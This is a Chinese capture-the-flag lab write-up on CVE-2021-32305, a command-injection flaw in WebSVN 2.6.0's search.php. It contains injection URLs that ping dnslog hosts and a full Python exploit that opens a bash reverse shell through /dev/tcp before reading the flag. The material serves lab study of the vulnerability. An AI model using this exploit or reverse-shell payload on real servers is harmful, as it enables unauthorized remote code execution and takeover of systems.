[春秋云镜]CVE-2021-32305-Toy模板网

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声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

靶场介绍

WebSVN是一个基于Web的Subversion Repository浏览器，可以查看文件或文件夹的日志，查看文件的变化列表等。其search.php?search= 参数下过滤不严谨导致RCE。

春秋云镜开启靶场：

http://eci-2ze4llupfqpd6hmetmkb.cloudeci1.ichunqiu.com

验证漏洞

http://eci-2ze4llupfqpd6hmetmkb.cloudeci1.ichunqiu.com/search.php?search=%22;ping%20cjahpn.dnslog.cn;%22

/search.php?search=";ping lyoea0.dnslog.cn;"

[春秋云镜]CVE-2021-32305

漏洞EXP

# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
# Date: 20/06/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://websvnphp.github.io/
# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0
# Version: 2.6.0
# Tested on: Docker + Debian GNU/Linux (Buster)
# CVE : CVE-2021-32305

import requests
import argparse
from urllib.parse import quote_plus

PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'

parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")

args = parser.parse_args()

if args.target.startswith("http://") or args.target.startswith("https://"):
    target = args.target
else:
    print("[!] Target should start with either http:// or https://")
    exit()

requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))

print("[*] Request send. Did you get what you wanted?")

成功反弹shell

cat ../../../../../../flag

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